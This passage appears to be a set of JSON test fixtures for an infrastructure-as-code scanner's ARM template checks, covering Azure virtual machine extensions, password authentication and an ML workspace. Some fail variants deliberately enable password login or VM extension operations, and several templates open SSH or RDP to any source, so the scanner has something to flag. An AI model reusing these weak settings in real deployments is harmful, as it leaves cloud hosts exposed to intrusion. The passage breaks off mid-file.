"enabledState": "Enabled" } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureInstanceExtensions/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "virtualMachines_pike_name": { "defaultValue": "fail", "type": "String" }, "disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Compute/disks/pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050", "type": "String" }, "networkInterfaces_pike_nic_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Network/networkInterfaces/pike_nic", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2023-03-01", "name": "[parameters('virtualMachines_pike_name')]", "location": "westeurope", "properties": { "hardwareProfile": { "vmSize": "Standard_F2" }, "storageProfile": { "imageReference": { "publisher": "Canonical", "offer": "0001-com-ubuntu-server-focal", "sku": "20_04-lts", "version": "latest" }, "osDisk": { "osType": "Linux", "name": "[concat(parameters('virtualMachines_pike_name'), '_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050')]", "createOption": "FromImage", "caching": "ReadWrite", "writeAcceleratorEnabled": false, "managedDisk": { "storageAccountType": "Standard_LRS", "id": "[parameters('disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid')]" }, "deleteOption": "Detach", "diskSizeGB": 30 }, "dataDisks": [] }, "osProfile": { "computerName": "[parameters('virtualMachines_pike_name')]", "adminUsername": "adminuser", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "/home/adminuser/.ssh/authorized_keys", "keyData": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5M1Z6i9r0/5ld5oWUhWIDI8j1DPc1sDrRqfPc4GMuotkpg2Iza7mX+JkieB36RmzRmhOjNZDh8FdtnoW3gtJ/dTkY8t2cnttAAD49BWmg9C9scfVXj5zNYdaDX9eYFY+a4UyYNkDZtmTnaK+i4r32lIAahcCd8L4vD8ltpw/LIZmI4FpShy019pXadYMVhPA3X6Tav8+BUW76enj1BKD2e5WqUOSvdxuiKcLIiJeyveq2Yl30kbmB0o3hVp7fQYrIwtEjz/11X29NcIgyb9wNuEGPq751Vfgwk6vh0tBUasrOGrh5wo3gHezBEtfOWXYadIxMzGW/a7QYRbXhcUfz\n" } ] }, "provisionVMAgent": true, "patchSettings": { "patchMode": "ImageDefault", "assessmentMode": "ImageDefault" }, "enableVMAgentPlatformUpdates": false }, "secrets": [], "allowExtensionOperations": true, "requireGuestProvisionSignal": true }, "networkProfile": { "networkInterfaces": [ { "id": "[parameters('networkInterfaces_pike_nic_externalid')]", "properties": { "primary": true } } ] }, "diagnosticsProfile": { "bootDiagnostics": { "enabled": false } }, "priority": "Regular", "extensionsTimeBudget": "PT1H30M" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureInstanceExtensions/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "virtualMachines_pike_name": { "defaultValue": "fail2", "type": "String" }, "disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Compute/disks/pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050", "type": "String" }, "networkInterfaces_pike_nic_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Network/networkInterfaces/pike_nic", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2023-03-01", "name": "[parameters('virtualMachines_pike_name')]", "location": "westeurope", "properties": { "hardwareProfile": { "vmSize": "Standard_F2" }, "storageProfile": { "imageReference": { "publisher": "Canonical", "offer": "0001-com-ubuntu-server-focal", "sku": "20_04-lts", "version": "latest" }, "osDisk": { "osType": "Linux", "name": "[concat(parameters('virtualMachines_pike_name'), '_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050')]", "createOption": "FromImage", "caching": "ReadWrite", "writeAcceleratorEnabled": false, "managedDisk": { "storageAccountType": "Standard_LRS", "id": "[parameters('disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid')]" }, "deleteOption": "Detach", "diskSizeGB": 30 }, "dataDisks": [] }, "osProfile": { "computerName": "[parameters('virtualMachines_pike_name')]", "adminUsername": "adminuser", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "/home/adminuser/.ssh/authorized_keys", "keyData": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5M1Z6i9r0/5ld5oWUhWIDI8j1DPc1sDrRqfPc4GMuotkpg2Iza7mX+JkieB36RmzRmhOjNZDh8FdtnoW3gtJ/dTkY8t2cnttAAD49BWmg9C9scfVXj5zNYdaDX9eYFY+a4UyYNkDZtmTnaK+i4r32lIAahcCd8L4vD8ltpw/LIZmI4FpShy019pXadYMVhPA3X6Tav8+BUW76enj1BKD2e5WqUOSvdxuiKcLIiJeyveq2Yl30kbmB0o3hVp7fQYrIwtEjz/11X29NcIgyb9wNuEGPq751Vfgwk6vh0tBUasrOGrh5wo3gHezBEtfOWXYadIxMzGW/a7QYRbXhcUfz\n" } ] }, "provisionVMAgent": true, "patchSettings": { "patchMode": "ImageDefault", "assessmentMode": "ImageDefault" }, "enableVMAgentPlatformUpdates": false }, "secrets": [], "requireGuestProvisionSignal": true }, "networkProfile": { "networkInterfaces": [ { "id": "[parameters('networkInterfaces_pike_nic_externalid')]", "properties": { "primary": true } } ] }, "diagnosticsProfile": { "bootDiagnostics": { "enabled": false } }, "priority": "Regular", "extensionsTimeBudget": "PT1H30M" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureInstanceExtensions/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "virtualMachines_pike_name": { "defaultValue": "pike", "type": "String" }, "disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Compute/disks/pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050", "type": "String" }, "networkInterfaces_pike_nic_externalid": { "defaultValue": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Network/networkInterfaces/pike_nic", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2023-03-01", "name": "[parameters('virtualMachines_pike_name')]", "location": "westeurope", "properties": { "hardwareProfile": { "vmSize": "Standard_F2" }, "storageProfile": { "imageReference": { "publisher": "Canonical", "offer": "0001-com-ubuntu-server-focal", "sku": "20_04-lts", "version": "latest" }, "osDisk": { "osType": "Linux", "name": "[concat(parameters('virtualMachines_pike_name'), '_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050')]", "createOption": "FromImage", "caching": "ReadWrite", "writeAcceleratorEnabled": false, "managedDisk": { "storageAccountType": "Standard_LRS", "id": "[parameters('disks_pike_OsDisk_1_8456bd2e1ebc4b3e9ece2b8770126050_externalid')]" }, "deleteOption": "Detach", "diskSizeGB": 30 }, "dataDisks": [] }, "osProfile": { "computerName": "[parameters('virtualMachines_pike_name')]", "adminUsername": "adminuser", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "/home/adminuser/.ssh/authorized_keys", "keyData": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5M1Z6i9r0/5ld5oWUhWIDI8j1DPc1sDrRqfPc4GMuotkpg2Iza7mX+JkieB36RmzRmhOjNZDh8FdtnoW3gtJ/dTkY8t2cnttAAD49BWmg9C9scfVXj5zNYdaDX9eYFY+a4UyYNkDZtmTnaK+i4r32lIAahcCd8L4vD8ltpw/LIZmI4FpShy019pXadYMVhPA3X6Tav8+BUW76enj1BKD2e5WqUOSvdxuiKcLIiJeyveq2Yl30kbmB0o3hVp7fQYrIwtEjz/11X29NcIgyb9wNuEGPq751Vfgwk6vh0tBUasrOGrh5wo3gHezBEtfOWXYadIxMzGW/a7QYRbXhcUfz\n" } ] }, "provisionVMAgent": true, "patchSettings": { "patchMode": "ImageDefault", "assessmentMode": "ImageDefault" }, "enableVMAgentPlatformUpdates": false }, "secrets": [], "allowExtensionOperations": false, "requireGuestProvisionSignal": true }, "networkProfile": { "networkInterfaces": [ { "id": "[parameters('networkInterfaces_pike_nic_externalid')]", "properties": { "primary": true } } ] }, "diagnosticsProfile": { "bootDiagnostics": { "enabled": false } }, "priority": "Regular", "extensionsTimeBudget": "PT1H30M" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AzureInstancePassword/FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vmName": { "type": "string", "defaultValue": "simpleLinuxVM", "metadata": { "description": "The name of you Virtual Machine." } }, "adminUsername": { "type": "string", "metadata": { "description": "Username for the Virtual Machine." } }, "authenticationType": { "type": "string", "defaultValue": "password", "allowedValues": [ "sshPublicKey", "password" ], "metadata": { "description": "Type of authentication to use on the Virtual Machine. SSH key is recommended." } }, "adminPasswordOrKey": { "type": "securestring", "metadata": { "description": "SSH Key or password for the Virtual Machine. SSH key is recommended." } }, "dnsLabelPrefix": { "type": "string", "defaultValue": "[toLower(concat('simplelinuxvm-', uniqueString(resourceGroup().id)))]", "metadata": { "description": "Unique DNS Name for the Public IP used to access the Virtual Machine." } }, "ubuntuOSVersion": { "type": "string", "defaultValue": "18.04-LTS", "allowedValues": [ "12.04.5-LTS", "14.04.5-LTS", "16.04.0-LTS", "18.04-LTS" ], "metadata": { "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "VmSize": { "type": "string", "defaultValue": "Standard_B2s", "metadata": { "description": "The size of the VM" } }, "virtualNetworkName": { "type": "string", "defaultValue": "vNet", "metadata": { "description": "Name of the VNET" } }, "subnetName": { "type": "string", "defaultValue": "Subnet", "metadata": { "description": "Name of the subnet in the virtual network" } }, "networkSecurityGroupName": { "type": "string", "defaultValue": "SecGroupNet", "metadata": { "description": "Name of the Network Security Group" } } }, "variables": { "publicIpAddressName": "[concat(parameters('vmName'), 'PublicIP' )]", "networkInterfaceName": "[concat(parameters('vmName'),'NetInt')]", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "osDiskType": "Standard_LRS", "subnetAddressPrefix": "10.1.0.0/24", "addressPrefix": "10.1.0.0/16", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('adminPasswordOrKey')]" } ] } } }, "resources": [ { "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2018-10-01", "name": "[variables('networkInterfaceName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups/', parameters('networkSecurityGroupName'))]", "[resourceId('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIpAddresses/', variables('publicIpAddressName'))]" ], "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "subnet": { "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", "publicIpAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" } } } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups',parameters('networkSecurityGroupName'))]" } } }, { "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-02-01", "name": "[parameters('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "SSH", "properties": { "priority": 1000, "protocol": "TCP", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "22" } } ] } }, { "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2019-04-01", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[variables('addressPrefix')]" ] }, "subnets": [ { "name": "[parameters('subnetName')]", "properties": { "addressPrefix": "[variables('subnetAddressPrefix')]", "privateEndpointNetworkPolicies": "Enabled", "privateLinkServiceNetworkPolicies": "Enabled" } } ] } }, { "type": "Microsoft.Network/publicIpAddresses", "apiVersion": "2019-02-01", "name": "[variables('publicIpAddressName')]", "location": "[parameters('location')]", "properties": { "publicIpAllocationMethod": "Dynamic", "publicIPAddressVersion": "IPv4", "dnsSettings": { "domainNameLabel": "[parameters('dnsLabelPrefix')]" }, "idleTimeoutInMinutes": 4 }, "sku": { "name": "Basic", "tier": "Regional" } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2019-03-01", "name": "default", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]" ], "properties": { "hardwareProfile": { "vmSize": "[parameters('VmSize')]" }, "storageProfile": { "osDisk": { "createOption": "fromImage", "managedDisk": { "storageAccountType": "[variables('osDiskType')]" } }, "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "[parameters('ubuntuOSVersion')]", "version": "latest" } }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" } ] }, "osProfile": { "computerName": "[parameters('vmName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": null } } } ], "outputs": { "adminUsername": { "type": "string", "value": "[parameters('adminUsername')]" }, "hostname": { "type": "string", "value": "[reference(variables('publicIPAddressName')).dnsSettings.fqdn]" }, "sshCommand": { "type": "string", "value": "[concat('ssh ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" } } } ================================================ FILE: tests/arm/checks/resource/example_AzureInstancePassword/PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vmName": { "type": "string", "defaultValue": "simpleLinuxVM", "metadata": { "description": "The name of you Virtual Machine." } }, "adminUsername": { "type": "string", "metadata": { "description": "Username for the Virtual Machine." } }, "adminPasswordOrKey": { "type": "securestring", "metadata": { "description": "SSH Key or password for the Virtual Machine. SSH key is recommended." } }, "dnsLabelPrefix": { "type": "string", "defaultValue": "[toLower(concat('simplelinuxvm-', uniqueString(resourceGroup().id)))]", "metadata": { "description": "Unique DNS Name for the Public IP used to access the Virtual Machine." } }, "ubuntuOSVersion": { "type": "string", "defaultValue": "18.04-LTS", "allowedValues": [ "12.04.5-LTS", "14.04.5-LTS", "16.04.0-LTS", "18.04-LTS" ], "metadata": { "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "VmSize": { "type": "string", "defaultValue": "Standard_B2s", "metadata": { "description": "The size of the VM" } }, "virtualNetworkName": { "type": "string", "defaultValue": "vNet", "metadata": { "description": "Name of the VNET" } }, "subnetName": { "type": "string", "defaultValue": "Subnet", "metadata": { "description": "Name of the subnet in the virtual network" } }, "networkSecurityGroupName": { "type": "string", "defaultValue": "SecGroupNet", "metadata": { "description": "Name of the Network Security Group" } } }, "variables": { "publicIpAddressName": "[concat(parameters('vmName'), 'PublicIP' )]", "networkInterfaceName": "[concat(parameters('vmName'),'NetInt')]", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "osDiskType": "Standard_LRS", "subnetAddressPrefix": "10.1.0.0/24", "addressPrefix": "10.1.0.0/16" }, "resources": [ { "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2018-10-01", "name": "[variables('networkInterfaceName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups/', parameters('networkSecurityGroupName'))]", "[resourceId('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIpAddresses/', variables('publicIpAddressName'))]" ], "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "subnet": { "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", "publicIpAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" } } } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups',parameters('networkSecurityGroupName'))]" } } }, { "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-02-01", "name": "[parameters('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "SSH", "properties": { "priority": 1000, "protocol": "TCP", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "22" } } ] } }, { "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2019-04-01", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[variables('addressPrefix')]" ] }, "subnets": [ { "name": "[parameters('subnetName')]", "properties": { "addressPrefix": "[variables('subnetAddressPrefix')]", "privateEndpointNetworkPolicies": "Enabled", "privateLinkServiceNetworkPolicies": "Enabled" } } ] } }, { "type": "Microsoft.Network/publicIpAddresses", "apiVersion": "2019-02-01", "name": "[variables('publicIpAddressName')]", "location": "[parameters('location')]", "properties": { "publicIpAllocationMethod": "Dynamic", "publicIPAddressVersion": "IPv4", "dnsSettings": { "domainNameLabel": "[parameters('dnsLabelPrefix')]" }, "idleTimeoutInMinutes": 4 }, "sku": { "name": "Basic", "tier": "Regional" } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2019-03-01", "name": "enabled", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]" ], "properties": { "hardwareProfile": { "vmSize": "[parameters('VmSize')]" }, "storageProfile": { "osDisk": { "createOption": "fromImage", "managedDisk": { "storageAccountType": "[variables('osDiskType')]" } }, "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "[parameters('ubuntuOSVersion')]", "version": "latest" } }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]" } ] }, "osProfile": { "computerName": "[parameters('vmName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('adminPasswordOrKey')]" } ] } } } } } ], "outputs": { "adminUsername": { "type": "string", "value": "[parameters('adminUsername')]" }, "hostname": { "type": "string", "value": "[reference(variables('publicIPAddressName')).dnsSettings.fqdn]" }, "sshCommand": { "type": "string", "value": "[concat('ssh ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" } } } ================================================ FILE: tests/arm/checks/resource/example_AzureInstancePassword/UNKNOWN.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "metadata": { "description": "Username for the Virtual Machine." } }, "adminPassword": { "type": "securestring", "metadata": { "description": "Password for the Virtual Machine." } }, "dnsLabelPrefix": { "type": "string", "metadata": { "description": "Unique DNS Name for the Public IP used to access the Virtual Machine." } }, "windowsOSVersion": { "type": "string", "defaultValue": "2016-Datacenter", "allowedValues": [ "2008-R2-SP1", "2012-Datacenter", "2012-R2-Datacenter", "2016-Nano-Server", "2016-Datacenter-with-Containers", "2016-Datacenter", "2019-Datacenter" ], "metadata": { "description": "The Windows version for the VM. This will pick a fully patched image of this given Windows version." } }, "vmSize": { "type": "string", "defaultValue": "Standard_D2_v3", "metadata": { "description": "Size of the virtual machine." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "storageAccountName": "[concat(uniquestring(resourceGroup().id), 'sawinvm')]", "nicName": "myVMNic", "addressPrefix": "10.0.0.0/16", "subnetName": "Subnet", "subnetPrefix": "10.0.0.0/24", "publicIPAddressName": "myPublicIP", "vmName": "SimpleWinVM", "virtualNetworkName": "MyVNET", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "networkSecurityGroupName": "default-NSG" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "apiVersion": "2018-11-01", "name": "[variables('storageAccountName')]", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "Storage", "properties": {} }, { "type": "Microsoft.Network/publicIPAddresses", "apiVersion": "2018-11-01", "name": "[variables('publicIPAddressName')]", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic", "dnsSettings": { "domainNameLabel": "[parameters('dnsLabelPrefix')]" } } }, { "comments": "Default Network Security Group for template", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-08-01", "name": "[variables('networkSecurityGroupName')]", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-3389", "properties": { "priority": 1000, "access": "Allow", "direction": "Inbound", "destinationPortRange": "3389", "protocol": "Tcp", "sourcePortRange": "*", "sourceAddressPrefix": "*", "destinationAddressPrefix": "*" } } ] } }, { "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2018-11-01", "name": "[variables('virtualNetworkName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[variables('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[variables('subnetPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } } ] } }, { "type": "Microsoft.Network/networkInterfaces", "apiVersion": "2018-11-01", "name": "[variables('nicName')]", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]", "[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]" ], "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "subnet": { "id": "[variables('subnetRef')]" } } } ] } }, { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2018-10-01", "name": "windows", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]", "[resourceId('Microsoft.Network/networkInterfaces/', variables('nicName'))]" ], "properties": { "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "osProfile": { "computerName": "[variables('vmName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPassword')]" }, "storageProfile": { "imageReference": { "publisher": "MicrosoftWindowsServer", "offer": "WindowsServer", "sku": "[parameters('windowsOSVersion')]", "version": "latest" }, "osDisk": { "createOption": "FromImage" }, "dataDisks": [ { "diskSizeGB": 1023, "lun": 0, "createOption": "Empty" } ] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces',variables('nicName'))]" } ] }, "diagnosticsProfile": { "bootDiagnostics": { "enabled": true, "storageUri": "[reference(resourceId('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))).primaryEndpoints.blob]" } } } } ], "outputs": { "hostname": { "type": "string", "value": "[reference(variables('publicIPAddressName')).dnsSettings.fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AzureInstancePassword/UNKNOWN_1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.4.1272.37030", "templateHash": "8632881811182083410" } }, "parameters": { "vmName": { "type": "string", "metadata": { "description": "The name of the VM" } }, "vmSize": { "type": "string", "metadata": { "description": "The virtual machine size." } }, "vmResouceGroupLocation": { "type": "string", "metadata": { "description": "Location for all resources." } }, "vnetResourceGroup": { "type": "string", "metadata": { "description": "Virtual Network Resource Group" } }, "subnetName": { "type": "string", "metadata": { "description": "Name of the subnet within the virtual network" } }, "virtualNetworkName": { "type": "string", "metadata": { "description": "Name of the existing virtual network" } }, "osDiskType": { "type": "string", "metadata": { "description": "Determines the storage type used for the OS disk" } }, "adminUsername": { "type": "string", "metadata": { "description": "The admin user name of the VM" } }, "clientSecret": { "type": "secureString", "metadata": { "description": "The admin password of the VM" } }, "timeZone": { "type": "string", "metadata": { "description": "TimeZone" } }, "diagstorageName": { "type": "string", "metadata": { "description": "Name of the storage account for boot diagnostics and VM diagnostics" } }, "sqlVirtualMachineName": { "type": "string", "metadata": { "description": "Same as the vmName" } }, "sqlDataDisksCount": { "type": "int", "maxValue": 8, "minValue": 1, "metadata": { "description": "Amount of data disks (1TB each) for SQL Data files" } }, "dataPath": { "type": "string", "metadata": { "description": "Path for SQL Data files. Please choose drive letter from F to Z, and other drives from A to E are reserved for system" } }, "sqlLogDisksCount": { "type": "int", "maxValue": 8, "minValue": 1, "metadata": { "description": "Amount of data disks (1TB each) for SQL Log files" } }, "logPath": { "type": "string", "metadata": { "description": "Path for SQL Log files. Please choose drive letter from F to Z and different than the one used for SQL data. Drive letter from A to E are reserved for system" } }, "tempDbPath": { "type": "string", "metadata": { "description": "Path for SQL tempdb files. Please choose drive letter from F to Z and different than the one used for SQL data. Drive letter from A to E are reserved for system" } }, "resourceTags": { "type": "object", "metadata": { "description": "This will be used as a tag" } }, "OSDiskSize": { "type": "int", "metadata": { "description": "Determines the size of the default data disk in GB" } } }, "variables": { "networkInterfaceName_var": "[format('nic-{0}-001', parameters('vmName'))]", "osDisk": "[format('{0}-osDisk', parameters('vmName'))]", "diskConfigurationType": "NEW", "dataDisksLuns": "[array(range(0, parameters('sqlDataDisksCount')))]", "logDisksLuns": "[array(range(parameters('sqlDataDisksCount'), parameters('sqlLogDisksCount')))]", "dataDisks": { "caching": "ReadOnly", "writeAcceleratorEnabled": false, "storageAccountType": "Premium_LRS", "dataDiskSize": 1023 } }, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "apiVersion": "2021-11-01", "name": "[parameters('vmName')]", "location": "[parameters('vmResouceGroupLocation')]", "tags": "[parameters('resourceTags')]", "properties": { "hardwareProfile": { "vmSize": "[parameters('vmSize')]" }, "storageProfile": { "copy": [ { "name": "dataDisks", "count": "[length(range(0, add(parameters('sqlDataDisksCount'), parameters('sqlLogDisksCount'))))]", "input": { "lun": "[range(0, add(parameters('sqlDataDisksCount'), parameters('sqlLogDisksCount')))[copyIndex('dataDisks')]]", "createOption": "Empty", "caching": "[if(greaterOrEquals(range(0, add(parameters('sqlDataDisksCount'), parameters('sqlLogDisksCount')))[copyIndex('dataDisks')], parameters('sqlDataDisksCount')), 'None', variables('dataDisks').caching)]", "writeAcceleratorEnabled": "[variables('dataDisks').writeAcceleratorEnabled]", "diskSizeGB": "[variables('dataDisks').dataDiskSize]", "managedDisk": { "storageAccountType": "[variables('dataDisks').storageAccountType]" } } } ], "osDisk": { "name": "[variables('osDisk')]", "diskSizeGB": "[parameters('OSDiskSize')]", "createOption": "FromImage", "managedDisk": { "storageAccountType": "[parameters('osDiskType')]" } }, "imageReference": { "publisher": "MicrosoftSQLServer", "offer": "sql2019-ws2022", "sku": "enterprise-gen2", "version": "latest" } }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName_var'))]" } ] }, "osProfile": { "computerName": "[parameters('vmName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('clientSecret')]", "windowsConfiguration": { "enableAutomaticUpdates": true, "provisionVMAgent": true, "timeZone": "[parameters('timeZone')]" } }, "diagnosticsProfile": { "bootDiagnostics": { "enabled": true, "storageUri": "[format('http://{0}.blob.core.windows.net', parameters('diagstorageName'))]" } } }, "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName_var'))]" ] } ], "outputs": { "adminUsername": { "type": "string", "value": "[parameters('adminUsername')]" } } } ================================================ FILE: tests/arm/checks/resource/example_AzureMLWorkspacePrivateEndpoint/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.MachineLearningServices/workspaces", "apiVersion": "2022-12-01", "name": "fail1", "location": "West US", "properties": { "managedNetwork": { "outboundRules": { "rule1": { "type": 